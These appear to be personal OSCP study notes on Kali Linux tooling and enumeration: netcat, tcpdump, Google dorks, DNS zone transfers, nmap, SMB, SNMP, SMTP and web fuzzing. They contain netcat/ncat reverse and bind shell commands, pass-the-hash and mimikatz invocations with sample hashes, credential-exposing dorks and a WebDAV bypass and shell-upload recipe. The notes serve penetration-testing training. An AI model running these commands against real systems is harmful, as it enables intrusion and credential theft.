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Optixal's OSCP Notes

20190701_164451

Try Harder

Welcome

Finding Your Way Around Kali

Find, Locate, and Which

locate

Reads from a database prepared by updatedb

updatedb
locate sdb.exe

which

Returns pathnames of files or links which would be executed in the current environment. It does this by searching the PATH variable.

which sbd

find

  • find / -name 'sbd*'
  • find / -name 'foldername' -type d
  • find / -name 'filename' -type f
  • find / -name 'sbd*' -exec file {} \;

Managing Kali Linux Services

The standard Kali services include ssh, http, sql, which by default would load at boot time, however Kali prevents this by not allowing that, and includes a management system to control their status. Before starting any services, change root password with passwd.

SSH Service

Port 22

service ssh start
netstat -tunap | grep sshd
service ssh stop
netstat -tunap | grep sshd

HTTP Service

Port 80

service apache2 start

Default Apache document root is at /var/www/html

To change the index page, echo "Kali Linux rocks" > /var/www/html/index.html

service apache2 stop

Service Management

service is a wrapper around existing system init scripts located in /etc/init.d/ directory. Another way of managing the service, you can directly use the init scripts.

  • /etc/init.d/ssh start
  • /etc/init.d/ssh stop

Service Boot Persistence

Services will be started at boot time.

  • update-rc.d ssh enable or systemctl enable ssh
  • update-rc.d ssh disable or systemctl disable ssh

For more granular control of these services, use rcconf or sysv-rc-conf, both to help simplify and manage the boot persistence of these services.

The Bash Environment

Intro to Bash Scripting

1.3.1.1 - Practical Bash Usage – Example 1

Files: cisco.sh

Find all of cisco.com's subdomains on their homepage and find their IPs.

Method 1

curl -s https://www.cisco.com | grep 'href=' | cut -d'/' -f3 | grep 'cisco.com' | cut -d'"' -f1 | sort -u > test

  • curl https://www.cisco.com - Download cisco.com and output to stdout, silent, hide progress
  • grep 'href=' - Grep all lines with href links
  • cut -d'/' -f3 - Splits lines by slashes and take field number 3 (eg. Field 3 of ...href="http://hello.cisco.com/"... will be hello.cisco.com)
  • grep 'cisco.com' - Filter out lines with cisco.com as the domain
  • cut -d'"' -f1 - Filter out lines that have trailing quotes
  • sort -u - Sort and remove all duplicates with -u (unique). Compared to uniq, uniq removes duplicates that are adjacent to each other, eg. a a b a -> a b a
Method 2

curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u

  • curl -s https://www.cisco.com - Download cisco.com and output to stdout, silent, hide progress
  • grep -o '[A-Za-z0-9\._-]*\.*cisco\.com'
    • -o - Output only the matching pattern
    • [A-Za-z0-9\._-]* - Match 0 or more alphanumeric character, including ".", "_" and "-"
    • \. - URL dot
    • * - Non-regex, grep wildcard in this case, to match domains that end with cisco.com (eg. static-static.com)
    • \.com - URL top level domain
  • sort -u - Sort and remove all duplicates with -u (unique)
Other Methods
  • curl https://www.cisco.com | grep -o -P '[\w\._-]+\.[\w\._-]*cisco\.com' | sort -u - Equivalent to method 2
  • curl https://www.cisco.com | grep -o -E '\w+\.cisco\.com' | sort -u - Shortcut, less accurate as it doesn't match "www.static-cisco.com"
  • wget -q -O - https://www.cisco.com | ... - Wget instead of curl, quiet, and output to stdout
Final

for url in $(curl -s https://www.cisco.com | grep -o '[A-Za-z0-9\._-]*\.*cisco\.com' | sort -u); do host $url | grep 'has address' | cut -d' ' -f4; done

1.3.1.2 - Practical Bash Usage – Example 2

cat access_log.txt | cut -d' ' -f1 | sort | uniq -c | sort -urn | head
cat access_log.txt | grep '208.68.234.99' | cut -d'"' -f2 | sort | uniq -c | sort -urn | head
cat access_log.txt | grep '208.68.234.99' | grep '/admin' | sort | uniq -c
# cat access_log.txt | grep '208.68.234.99' | grep '/admin' | awk '{print $9}' | sort | uniq -c

Data Manipulation Tools Summary

cut

  • -d - Delimiter
  • -f - Field number
    • -f4 - Field 4
    • -f1,4 - Field 1 and 4
    • -f2-5 - Fields 2 to 5
    • -f-7 - Fields 1 to 7
    • -f3- - Fields 3 and beyond

sort and uniq

  • sort -u - Sort and remove all duplicates (unique)
  • uniq - Remove duplicates adjacent to each other
  • uniq -c - Remove duplicates adjacent to each other and count
  • uniq -u - Show unique items only (rarely use)
  • sort | uniq -c | sort -urn - Count occurence and sort them from most common to least

grep

  • grep [pattern] - Print lines only with matching pattern, can handle regular regex, no +, no shorthands, * on its own means grep wildcard
  • grep -arni [pattern] - Process binaries as text, recursive, line prefixed, ignore case
  • grep -arni [pattern] --include \*.md - Process binaries as text, recursive, line prefixed, ignore case, and only from markdown files
  • grep -E [pattern] - Extended regex, +, shorthands, but cannot put shorthands in brackets
  • grep -P [pattern] - Perl/Python regex, +, shorthands, can put shorthands in brackets

Windows counterpart of grep is find, eg. netstat -na | find "4444"

tr

  • medusa -d | grep \+ | cut -d' ' -f6 | cut -d. -f1 | tr '\n' ' ' - Translates/substitutes all line breaks with commas, converting multiple lines into a single line separated with spaces

for

IFS=$'\n' # if the list file has spaces, the for loop will split it, so you shud use internal field separator
for ip in $(cat list); do
  echo "$ip"
done

The Essential Tools

Netcat/nc

Connecting to a TCP/UDP Port

nc -nv [ip] [port] - -n means do no resolve hostname, -v more verbose

Start Mercury mail server on Win 7 machine.

  • 25 - SMTP
  • 110 - POP3
  • 143 - IMAP
➜  lab-connection nc -nv 192.168.1.23 25
(UNKNOWN) [192.168.1.23] 25 (smtp) open
220 localhost ESMTP server ready.
HELP
214-Recognized SMTP commands are:
214-   HELO   EHLO   MAIL   RCPT   DATA   RSET
214-   AUTH   NOOP   QUIT   HELP   VRFY   SOML
214 Mail server account is 'Maiser'.
^C
➜  lab-connection nc -nv 192.168.1.23 110
(UNKNOWN) [192.168.1.23] 110 (pop3) open
+OK <87219363.8932@localhost>, POP3 server ready.
^C
➜  lab-connection nc -nv 192.168.1.23 110
(UNKNOWN) [192.168.1.23] 110 (pop3) open
+OK <87253870.12354@localhost>, POP3 server ready.
USER bob
+OK bob is known here.
PASS bob
-ERR Username or password is invalid or incorrect.
QUIT
+OK localhost Server closing down.
➜  lab-connection nc -nv 192.168.1.23 143
(UNKNOWN) [192.168.1.23] 143 (imap2) open
* OK localhost IMAP4rev1 Mercury/32 v4.52 server ready.
^C
➜  lab-connection

Listening on a TCP/UDP Port

On Win 7, move nc.exe to C:\Windows.

# Win 7
C:\Users\Offsec>nc -nlvp 4444
listening on [any] 4444
connect to [192.168.1.23] from <UNKNOWN> [192.168.1.23] 59460
hi
# Kali
➜  lab-connection nc -nv 192.168.1.23 4444
(UNKNOWN) [192.168.1.23] 4444 (?) open
hi

Win 7 is the server, -nlvp 4444 no lookup listening (server) verbose bound to port 4444. Kali is the client connecting to it on port 4444 with -nv.

Transferring Files with Netcat

# Win 7
nc -nlvp 446 > incoming.exe
# Kali
➜  lab-connection nc -nv 192.168.1.23 4446 < /usr/share/windows-binaries/wget.exe
(UNKNOWN) [192.168.1.23] 4446 (?) open
➜  lab-connection
# Win 7
incoming.exe -h

Remote Administration with Netcat

2.1.4.1 - Netcat Bind Shell Scenario

Alice -> Firewall -> Public IP -> Internet -> Public IP -> Bob

# Win 7
nc -lvp 4446 -e cmd.exe
# Kali
nc -nv 192.168.1.23 4446

C:\Users\Offsec>ipconfig
...

2.1.4.2 - Reverse Shell Scenario

# Win 7
nc -nlvp 4446
# Kali
nc -nv 192.168.1.23 4446 -e /bin/bash
# Win 7
whoami
root

Netcat as a Port Monitor

watch -n1 nc -w1 -nvz 192.168.1.23 123
# -w1: timeout 1 sec, -n: no reverse lookup, -v: verbose, -z: no IO, act as a scanner

ncat

Reverse Shell

# Kali
ncat -lnvp 4444 --allow [win ip] --ssl
# Win
ncat -nv [kali ip] 4444 -e cmd.exe --ssl

Bind Shell

# Win
ncat -lnvp 4444 -e cmd.exe --allow [kali ip] --ssl
# Kali
ncat -nv [win ip] 4444 --ssl

The ncat in the Windows VM produces many errors, even after updating. To update, download "nmap-7.60-win32.zip" and reinstall the nmap suite, which includes the latest version of ncat. Be warned, errors will still occur.

Shells Reference

Upgrade a half shell to full interactive shell on a compromised Linux machine:

# On victim
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z
# On attacker
echo $TERM # note down
stty -a # note down rows and cols
stty raw -echo # this may be enough
fg
# On victim
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116

Resources:

Note: Netcat (nc) OpenBSD does not support -e. Netcat versions: GNU, OpenBSD, Traditional, Netcat6

Wireshark

Network -> Capture Filters -> Capture Engine -> Display Filters

Capture filters are very useful as they can selectively capture packets that match a certain criteria. The capture filter syntax is different from the usual display filter syntax. An example would be host 8.8.8.8 and tcp port 80, to capture packets that involve 8.8.8.8 and tcp port 80 only. Display filters on the other hand does not affect the packet capturing process, it just applies a filter to already captured packets, example tcp.port == 80. If you notice, wireshark capture filters are the same as tcpdump capture filters.

Capture filters can be specified in Capture > Options > Capture filter for selected interface, or in Capture > Capture Filters

Follow TCP stream is very useful as in can display the client and server communication in formatted plaintext. It works on web traffic, nc connections (shells, mail, unencrypted connections), etc.

Typical web connection traffic:

  1. ARP broadcast looking for the default gateway
  2. ARP unicast reply providing the MAC address of the gateway
  3. DNS A (IPv4) forward lookup query
  4. DNS AAAA (IPv6) forward lookup query
  5. DNS A response received
  6. DNS AAAA response received
  7. 3-way handshake on port 80
  8. Initial protocol negotiation in HTTP GET request

tcpdump

tcpdump -r password_cracking_filtered.pcap | awk '{print $3}' | cut -d. -f-4 | sort | uniq -c | sort -urn  # Show most common IPs
tcpdump -n src host 172.16.40.10 -r password_cracking_filtered.pcap # Filter by src host
tcpdump -n dst host 172.16.40.10 -r password_cracking_filtered.pcap # Filter by dst host
tcpdump -n port 81 -r password_cracking_filtered.pcap # Filter by port
tcpdump -nXr password_cracking_filtered.pcap # Hex

Near the bottom of password_cracking_filtered.pcap, after many 401 Authorization Required bad attempts, a 301 occurs after using the following credentials:

GET //admin HTTP/1.1
Host: admin.conglomerate.com:81
User-Agent: Teh Forest Lobster
Authorization: Basic YWRtaW46bmFub3RlY2hub2xvZ3kx
  Credentials: admin:nanotechnology1

TCP Flags

14th byte of the TCP header

CEUAPRSF
WCRCSSYI
REGKHTNN

Apparently, HTTP requests and responses have TCP flags PSH and ACK enabled. To calculate ACK and PSH flags in decimal to use in tcpdump filter:

CEUAPRSF
00011000 = 24 in decimal

Online reference: http://rapid.web.unc.edu/resources/tcp-flag-key/

Finally, to filter out the HTTP packets, execute the following command, specifying that the 14th byte in the packets displayed should have ACK/PSH flags set:

tcpdump -A -n 'tcp[13] = 24' -r password_cracking_filtered.pcap

Passive Info Gathering

Open Web Information Gathering

Google Hacking

  • filetype
  • inurl
  • intitle
  • intext

Powerpoint files with the phrase "penetration testing" in it, from microsoft.com

site:microsoft.com filetype:ppt "penetration testing"

VNC Viewer

intitle:"VNC viewer for Java"

Mobotix IPcam (admin creds - admin:meinsm)

inurl:"/control/userimage.html"

phpMyAdmin No Authentication Databases

inurl:.php? intext:CHARACTER_SETS,COLLATIONS intitle:phpmyadmin

N3tShell Compromised Websites

intitle:"-N3t" filetype:php undetectable

Default Pages of Devices

intitle:"NetBotz Applicance" "OK" -filetype:pdf

Hardware with Known Vulnerabilities

intitle:"SpeedStream Router Management Interface"

Web Accessible, Open Cisco Routers

inurl:"level/15/exec/-/show"

Exposed Frontpage Credentials

"# -FrontPage-" filetype:pwd inurl:(service | authors | administrators | users)

Email Harvesting

theharvester -d cisco.com -b google

Additional Resources

Netcraft

https://www.netcraft.com/

Find all subdomains

*.cisco.com

Whois

whois cisco.com
whois 8.8.8.8

Recon-ng

recon-ng
use recon/domains-contacts/whois_pocs # Contact details from whois results
use recon/domains-vulnerabilities/xssed # Find xss vulnerabilities using xssed.com
use recon/domains-hosts/google_site_web # Automatically find subdomains using Google search

Active Information Gathering

4.1 DNS Enumeration

Interacting with a DNS Server

host -t [type] [domain]

host -t ns conglomerate.com # dns nameservers
host -t mx conglomerate.com # mailservers

Automating Lookups

Forward Lookup

host [subdomain]

host www.conglomerate.com # get ip of www.conglomerate.com
host idontexist.conglomerate.com # attempt to get ip of non existant subdomain

Forward Lookup Brute Force

root@kali:~# echo www > list.txt
root@kali:~# echo ftp >> list.txt
root@kali:~# echo mail >> list.txt
root@kali:~# echo owa >> list.txt
root@kali:~# echo proxy >> list.txt
root@kali:~# echo router >> list.txt
root@kali:~# for ip in $(cat list.txt); do host $ip.conglomerate.com | grep 'has address'; done
www.conglomerate.com has address 38.100.193.76
mail.conglomerate.com has address 38.100.193.84
router.conglomerate.com has address 38.100.193.71

Reverse Lookup Brute Force

host [ip]

With a rough idea of the target's subnet range, perform a reverse lookup brute force.

root@kali:~/Downloads# for ip in $(seq 1 254); do host 38.100.193.$ip | grep -v 'not found' | grep conglomerate.com; done
66.193.100.38.in-addr.arpa domain name pointer syslog.conglomerate.com.
69.193.100.38.in-addr.arpa domain name pointer beta.conglomerate.com.
70.193.100.38.in-addr.arpa domain name pointer ns1.conglomerate.com.
72.193.100.38.in-addr.arpa domain name pointer admin.conglomerate.com.
73.193.100.38.in-addr.arpa domain name pointer mail2.conglomerate.com.
76.193.100.38.in-addr.arpa domain name pointer www.conglomerate.com.
77.193.100.38.in-addr.arpa domain name pointer vpn.conglomerate.com.
80.193.100.38.in-addr.arpa domain name pointer ns2.conglomerate.com.
84.193.100.38.in-addr.arpa domain name pointer mail.conglomerate.com.
85.193.100.38.in-addr.arpa domain name pointer snmp.conglomerate.com.
89.193.100.38.in-addr.arpa domain name pointer siem.conglomerate.com.
90.193.100.38.in-addr.arpa domain name pointer ns3.conglomerate.com.
91.193.100.38.in-addr.arpa domain name pointer router.conglomerate.com.

DNS Zone Transfers

If TCP port 53 is open, it may indicate that DNS zone transfers work.

host -l [domain] [nameserver] or host -t axfr [domain] [nameserver]

Failed Zone Transfer

root@kali:~/Downloads# host -l conglomerate.com ns1.conglomerate.com
Using domain server:
Name: ns1.conglomerate.com
Address: 38.100.193.70#53
Aliases:

Host conglomerate.com not found: 5(REFUSED)
; Transfer failed.

Successful Zone Transfer

root@kali:~/Downloads# host -l conglomerate.com ns2.conglomerate.com
Using domain server:
Name: ns2.conglomerate.com
Address: 38.100.193.80#53
Aliases:

conglomerate.com name server ns1.conglomerate.com.
conglomerate.com name server ns2.conglomerate.com.
conglomerate.com name server ns3.conglomerate.com.
admin.conglomerate.com has address 38.100.193.83
beta.conglomerate.com has address 38.100.193.88
fs1.conglomerate.com has address 38.100.193.82
intranet.conglomerate.com has address 38.100.193.87
mail.conglomerate.com has address 38.100.193.84
mail2.conglomerate.com has address 38.100.193.73
ns1.conglomerate.com has address 38.100.193.70
ns2.conglomerate.com has address 38.100.193.80
ns3.conglomerate.com has address 38.100.193.90
router.conglomerate.com has address 38.100.193.71
siem.conglomerate.com has address 38.100.193.89
snmp.conglomerate.com has address 38.100.193.85
support.conglomerate.com has address 173.246.47.170
syslog.conglomerate.com has address 38.100.193.66
test.conglomerate.com has address 38.100.193.67
vpn.conglomerate.com has address 38.100.193.77
www.conglomerate.com has address 38.100.193.76
www2.conglomerate.com has address 38.100.193.79

Automating Zone Transfers

#!/bin/bash

if [ -z "$1" ]; then
    echo "Usage: $0 [domain name]"
    exit 1
fi

for server in $(host -t ns $1 | cut -d' ' -f4); do
    host -l $1 $server | grep 'has address'
done

Relevant Tools in Kali

4.1.6.1 - dnsrecon

  • dnsrecon -d conglomerate.com
  • dnsrecon -d conglomerate.com -t axfr
  • dnsrecon -r 38.100.193.0/24 | grep conglomerate.com

4.1.6.1 - dnsenum

  • dnsenum zonetransfer.me

Port Scanning

TCP Connect / SYN Scanning

4.2.1.1 - Connect Scanning

Relies on three-way/TCP handshake mechanism (syn, syn/ack, ack). Connect scan involves completing this handshake, if it is completed, port is open.

nc -nvv -w 1.5 -z 10.0.0.19 3388-3390
(UNKNOWN) [10.0.0.19] 3390 (?) : Connection refused
(UNKNOWN) [10.0.0.19] 3389 (?) open
(UNKNOWN) [10.0.0.19] 3388 (?) : Connection refused
sent 0, rcvd 0
  • -n - no reverse lookup
  • -vv - more verbose
  • -w - timeout
  • -z - zero IO mode, used for scanning

4.2.1.2 - "Stealth" SYN Scanning

Send SYN packet without completing the TCP handshake (without sending final ack back). If a syn/ack is sent back, port is open.

Early and primitive firewalls logged completed TCP sessions, making syn scanning bypass firewall logging. This is no longer true with modern firewalls, and the term "stealth" is misleading. Users might believe their scans will somehow not be detected, when in fact, they will be.

UDP Scanning

UDP stateless, no three-way handshake. If no reply is sent back, the UDP port is open. If it is closed, an ICMP port unreachable packet should be sent back.

UDP scans is often unreliable, as firewalls may drop ICMP packets / not send back anything at all, leading to false positives, and you will regularly see UDP port scans showing all UDP ports open.

People often forget to scan for UDP services, and stick only to TCP scanning, thereby seeing only half of the equation.

nc -unvv -w 1.5 -z 192.168.1.23 160-165
(UNKNOWN) [192.168.1.23] 165 (?) : Connection refused
(UNKNOWN) [192.168.1.23] 164 (cmip-agent) : Connection refused
(UNKNOWN) [192.168.1.23] 163 (cmip-man) : Connection refused
(UNKNOWN) [192.168.1.23] 162 (snmp-trap) : Connection refused
(UNKNOWN) [192.168.1.23] 161 (snmp) open
(UNKNOWN) [192.168.1.23] 160 (?) : Connection refused

Port Scanning with Nmap

There is a list of nearly all ports, associated services, and probability of them being open found at /usr/share/nmap/nmap-services.

Tabbing while a scan is in progress displays the progress.

4.2.4.1 - Accountability for Your Traffic

Packet and byte counter using iptables

#!/bin/bash

# Reset counters and iptables rules
iptables -Z && iptables -F

# Measure incoming traffic from lab machine
iptables -I INPUT 1 -s 192.168.1.23 -j ACCEPT

# Measure outgoing traffic to lab machine
iptables -I OUTPUT 1 -d 192.168.1.23 -j ACCEPT

watch -n 1 iptables -nvL

4.2.4.2 - Network Sweeping

Default Sweep

nmap -sn 192.168.1.0/24 or nmap -sP 192.168.1.0/24

Output Greppable

nmap -T4 -n -sn -oG - 192.168.1.0/24 | grep Up | cut -d' ' -f2

Specific Port

nmap -T4 -n -sn -p 80 -oG - 192.168.1.0/24

Aggressive Connect Scan on Top Ports

nmap -sT -A --top-ports=20 192.168.1.0/24 -oG -

OS Fingerprinting

Based on the slight implementation differences of the TCP/IP stack (default TTL, TCP window size, etc.) within Operating Systems.

nmap -O 192.168.1.23

Banner Grabbing/Service Enumeration

nmap -sV -sT 192.168.1.23

An aggressive -A scan includes both -sV, -O, script scanning and traceroute: nmap -A 192.168.1.23

Favourite Nmap Commands

nmap -T4 -n -sC -sV -p- -oN nmap-versions --script='*vuln*' [ip]

unicornscan + nmap = onetwopunch

Unicornscan supports asynchronous scans, speeding port scans on all 65535 ports. Nmap has powerful features that unicornscan does not have. With onetwopunch, unicornscan is used first to identify open ports, and then those ports are passed to nmap to perform further enumeration.

./onetwopunch.sh -t targets.txt -i tap0 -n '-T4 -n -sC -sV -oN nmap-versions --script=*vuln*'

Note, when using wildcards in nmap's NSE script parameter in onetwopunch, do not include quotes.

Nmap Scripting Engine (NSE)

Found within /usr/share/nmap/scripts

Common services, SMB, SMTP, SNMP

nmap --script=[script] 192.168.1.23

SMB Enumeration

Scanning for the NetBIOS Service

SMB NetBIOS service listens on TCP ports 139 and 445, as well as several UDP ports.

nmap -p 139,445 --open -oG smb.txt 192.168.1.0/24

nbtscan -r 192.168.1.0/24

Null Session Enumeration

Vulnerable SMB Versions

Vulnerable versions:

  • Windows NT, 2000, and XP (most SMB1) - VULNERABLE: Null Sessions can be created by default
  • Windows 2003, and XP SP2 onwards - NOT VULNERABLE: Null Sessions can't be created default
  • Most Samba (Unix) servers

List of SMB versions and corresponding Windows versions:

  • SMB1 – Windows 2000, XP and Windows 2003.
  • SMB2 – Windows Vista SP1 and Windows 2008
  • SMB2.1 – Windows 7 and Windows 2008 R2
  • SMB3 – Windows 8 and Windows 2012.

Empty LM and NTLM hashes:

  • Empty LM Hash: aad3b435b51404eeaad3b435b51404ee
  • Empty NT Hash: 31d6cfe0d16ae931b73c59d7e0c089c0

rpcclient

Manually probe a SMB server

$ rpcclient -U '' [ip]
Password:
rpcclient $> srvinfo # operating system version
rpcclient $> netshareenumall # enumerate all shares and its paths
rpcclient $> enumdomusers # enumerate usernames defined on the server
rpcclient $> getdompwinfo # smb password policy configured on the server

Apparently the rpcclient version in OffSec VM does not work well with creating null sessions. A downgrade to samba-4.5.15 is required: https://forums.offensive-security.com/showthread.php?12943-Found-solution-to-enum4linux-rpcclient-problem-NT_STATUS_INVALID_PARAMETER&highlight=NT_STATUS_INVALID_PARAMETER Place the export commands into a script and source it before using rpcclient to use the downgraded version, or place it in bashrc. NOTE, once downgraded, pth-winexe doesn't seem to work.

enum4linux

Wrapper around smb programs like rpcclient to automate enumerating an SMB server. Produces tons of results when a null session is successful. NOTE: Make sure to downgrade rpcclient before using.

enum4linux -a 192.168.1.23
enum4linux -u 'guest' -p '' -a 192.168.1.23

CrackMapExec

Works perfectly, list shares and permissions, enum users, disks, code execute and run modules like mimikatz. Hashes work.

crackmapexec -u 'guest' -p '' --shares 192.168.1.23
crackmapexec -u 'guest' -p '' --rid-brute 4000 192.168.1.23
crackmapexec -u 'guest' -p '' --users 192.168.1.23
crackmapexec smb 192.168.1.0/24 -u Administrator -p P@ssw0rd
crackmapexec smb 192.168.1.0/24 -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -M mimikatz 192.168.1.0/24
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B -x whoami 192.168.1.23
crackmapexec -u Administrator -H E52CAC67419A9A2238F10713B629B565:64F12CDDAA88057E06A81B54E73B949B --exec-method smbexec -x whoami 192.168.1.23 # reliable pth code execution

smbmap

Works well for listing and downloading files, and listing shares and permissions. Hashes work. Code execution don't work.

smbmap -u '' -p '' -H 192.168.1.23 # similar to crackmapexec --shares
smbmap -u guest -p '' -H 192.168.1.23
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.23
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.23 -r # list top level dir
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.23 -R # list everything recursively
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.23 -s wwwroot -R -A '.*' # download everything recursively in the wwwroot share to /usr/share/smbmap. great when smbclient doesnt work
smbmap -u Administrator -p aad3b435b51404eeaad3b435b51404ee:e101cbd92f05790d1a202bf91274f2e7 -H 192.168.1.23 -x whoami # no work

smbclient

Access SMB shares interactively, seems to work with anonymous access. Hashes don't work.

smbclient //192.168.1.23/wwwroot
smbclient //192.168.1.23/C$ WIN20082017 -U Administrator
smbclient //192.168.1.23/C$ A433F6C2B0D8BB92D7288ECFFACFC7CD -U Administrator --pw-nt-hash # make sure to only use the NT portion of the hash

WARNNIG, be careful when using the get command to download absolute path files from the remote system. Eg. get /etc/passwd will download the passwd file and ovewrite YOUR /etc/passwd. Use get /etc/passwd /tmp/passwd instead.

To download recursively:

# Within smbclient, download everything recursively:
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
pth-winexe

Works great sometimes. Can open a windows cmd shell.

pth-winexe -U administrator%WIN20082017 //192.168.1.23 cmd # using a plaintext password
pth-winexe -U Administrator%A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # ntlm hash encrypted with https://www.browserling.com/tools/ntlm-hash
pth-winexe -U domain/user%A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # domain user
pth-winexe -U Administrator%8F49412C8D29DF02FB62879E33FBB745:A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # lm+ntlm hash encrypted with https://asecuritysite.com/encryption/lmhash
pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:A433F6C2B0D8BB92D7288ECFFACFC7CD //192.168.1.23 cmd # ntlm hash + empty lm hash
# or
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896
pth-winexe -U Administrator% //192.168.1.23 cmd
psexec Metasploit

exploit/windows/smb/psexec

xfreerdp Remote Desktop Protocol

Before using xfreerdp's /pth feature, you have to build and install latest version. Apparently updating and upgrading with apt-get install freerdp-x11 only gets you FreeRDP version 1.1.0-beta1. The latest already 2+. Source and compilation guide: https://nullsec.us/rdp-sessions-with-xfreerdp-using-pth/ Still does not work after updating though.

xfreerdp /u:testing /d:thinc /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.1.23

Nmap SMB NSE Scripts

  • List all smb nse scripts - ls -la /usr/share/nmap/scripts/smb*
  • Check smb and OS using nse script - nmap -p 139,445 --script=smb-os-discovery 192.168.1.23
  • Check certain smb vulnerability against all hosts - nmap -iL hosts -Pn -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1
  • Enumerate smb usernames (similar to enumdomusers with rpcclient) - nmap -p 139,445 --script=smb-enum-users [ip]
  • Brute force smb creds - nmap -p 139,445 --script=smb-brute [ip]
  • Check many common smb vulnerabilities against a host - nmap -p 139,445 --script=smb*-vuln* --script-args=unsafe=1 [ip]

Apparently if there are more than 10 hosts in the hosts input file, nmap won't scan them when using NSE.

Nmap removed the smb-check-vulns script with individual scripts: https://forums.offensive-security.com/showthread.php?4008-04-3-3-Changes-to-quot-Nmap-NSE-Scripts-quot

Vulscan is a NSE scripting module that enhances nmap and turns it into a vulnerability scanner: https://github.com/scipag/vulscan

SMTP Enumeration

Important commands include:

  • VRFY - Asks the server to verify an email address
  • EXPN - Asks the server for the membership of a mailing list

Abuse these to verify existing users on a mail server.

$ nc -C [ip] 25 # remember to use `-C` in `nc`! This will force nc to send a CRLF (`\r\n`) as line-ending. A normal `\n` will not work! Telnet will work by default.
220 dj.acme.local Microsoft ESMTP MAIL Service, Version: 5.0.2195.6713 ready at  Mon, 19 Mar 2018 07:27:59 +0200
VRFY barry
250 2.1.5 <barry@barry> # user exists
VRFY administrator
550 5.1.1 administrator... User unknown # user does not exist
VRFY bob
252 2.1.5 Cannot VRFY user, but will take message for <[email protected]> # servers configured properly to not VRFY a user

EXPN postmaster
250 2.1.5 root <root@barry>
EXPN root
250 2.1.5 root <root@barry>

Use intel gathered from the passive information gathering stage to generate a users list to VRFY against the SMTP servers.

Although, SMTP configurations allowing for this type of enumeration is uncommon, there are many services and protocols with overly verbose output messages, which at times, allow us to find out interesting information, such as whether a user exist in their system using bruteforce.

Resources:

SNMP Enumeration

UDP Port 161

Simple Network Management Protocol. Based on UDP, susceptible to IP spoofing, and replay attacks. SNMP protocols 1, 2, and 2c offer no traffic encryption, meaning SNMP information and credentials can be easily intercepted over a local network. Traditional SNMP protocols also have weak authentication schemes, and are commonly left configured with default public and private community strings.

MIB Tree

SNMP Management Information Base

  • Branches - Organizations or network functions
  • Leaves - Final endpoints, specific variable values that can be probed

Scanning for SNMP

Finding SNMP services with nmap

nmap -sU -p 161 --open [ip]

Finding SNMP services with onesixtyone

Common community strings:

  • public
  • private
  • manager
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 10.11.1.$ip; done > ips
onesixtyone -c community -i ips

Windows SNMP Enumeration Example

We can probe and query the SNMP service, with at least the read-only community string, in most cases, public. SNMP services offer a wealth of information.

  • snmp-check -c public -v 1 [ip] - Enumerate entire MIB tree, and outputs in a very friendly, human-readable manner
  • snmpwalk -c public -v 1 [ip] - Enumerate entire MIB tree
  • snmpwalk -c public -v 1 [ip] [oid] - Enumerate specific information

MIB OIDs:

  • 1.3.6.1.2.1.25.1.6.0 - System Processes
  • 1.3.6.1.2.1.25.4.2.1.2 - Running Programs
  • 1.3.6.1.2.1.25.4.2.1.4 - Processes Path
  • 1.3.6.1.2.1.25.2.3.1.4 - Storage Units
  • 1.3.6.1.2.1.25.6.3.1.2 - Software Name
  • 1.3.6.1.4.1.77.1.2.25 - User Accounts
  • 1.3.6.1.2.1.6.13.1.3 - TCP Local Ports

HTTP Enumeration

Enumerating Web Server and Web Technology Versions

curl -i [ip] # include response headers
curl -I [ip] # show info only (using HEAD)
curl -L [ip] # follow redirects

Directory Fuzzing

gobuster

gobuster -u http://website.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 | tee gobuster.log
gobuster -u http://website.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -c 'PHPSESSION=123' -x .php,.html | tee gobuster.log

dirsearch

Great for websites that have extensions (eg. php). Added wp to dicc.txt

./dirsearch.py -u http://192.168.1.23 -e txt -t 50 # use dirsearch's default dict, which proved to be quite successful
./dirsearch.py -u http://192.168.1.23 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php -t 50

nikto Web Scanner

nikto -h 192.168.1.23
nikto -h 192.168.1.23 -Plugins outdated

A function within its code, "map_codes", seems to take forever to finish. Add a return; statement to line 228 of /var/lib/nikto/plugins/nikto_core.plugin to patch it.

wpscan Wordpress Scanner

wpscan -u example.com --enumerate p,t,u,tt # plugins, themes, usernames and timthumbs --log wpscanlog

Note, after installing either neovim or samba-4.5.15, wpscan stops working.

WebDAV in IIS Servers

  1. If you notice an IIS Server, scan for WebDAV using nmap --script=http-webdav-scan,http-iis-webdav-vuln (vuln checks for protected folders that can by bypassed)
  2. Find unprotected/protected folders
  • If protected, bypass by:
    • Adding a Translate: f header
    • Inserting the characters %c0%af into any uri request longer than 1 character
  1. Identify file types that can be uploaded and executed (accessed) with davtest -cleanup -url http://url/folder
  2. Use msfvenom to generate and upload PHP (if PHP is available) or ASP shell using PUT request
  • If .php or .asp cannot be uploaded, upload it as an acceptable file type like .txt
  • Perform a COPY or MOVE request to rename the .txt back into .php or .asp
